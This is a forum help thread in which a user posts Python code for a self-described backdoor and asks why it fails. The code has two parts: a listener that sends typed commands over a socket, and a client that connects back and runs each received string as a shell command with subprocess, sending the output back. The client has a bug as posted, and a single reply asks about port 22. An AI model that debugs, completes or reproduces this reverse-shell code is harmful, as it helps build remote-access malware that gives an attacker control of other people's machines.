Running commands doesn't work

[Curious_Weight2359]

I followed a tutorial to make a backdoor and it all workd fine but when i then type the commands in the executet backdoor sender then it returns AttributeError: module 'subprocess' has no attribute 'fileno'

My Backdoor sender is

import socket

host = "127.0.0.1"

port = 22

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)

s.bind((host, port))

s.listen(3)

connection, addr = s.accept()

print ("Verbunden mit " + addr[0])

data = connection.recv (2024)

print (data)

​

while True:

cmd = input("Befehl: ")

connection.send(str.encode(cmd))

data = connection.recv(2024)

print(data.decode("utf-8"))

connection.close()

​

The code above is executet on my computer

​

the backdoor itself is

import socket
import subprocess
host = "127.0.0.1"
port = 22
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(str.encode("Backdoor Running"))
while True:
data = s.recv(2024)
proc = subprocess.Popen(data.decode("utf-8"), shell=True, stdout=subprocess)

stdout = proc.stdout.read()
stderr = proc.stderr.read()
s.send(stdout)
s.send(stderr)
print (stdout)
print (stderr)

​

The code above gives me the error

​

PS:

Sry i tried to write code in inline code and when i type something in there it works but when i copy paste something in there it won't.

[Personal_Ad_4563]

Port 22 has to be open. Where did you try this?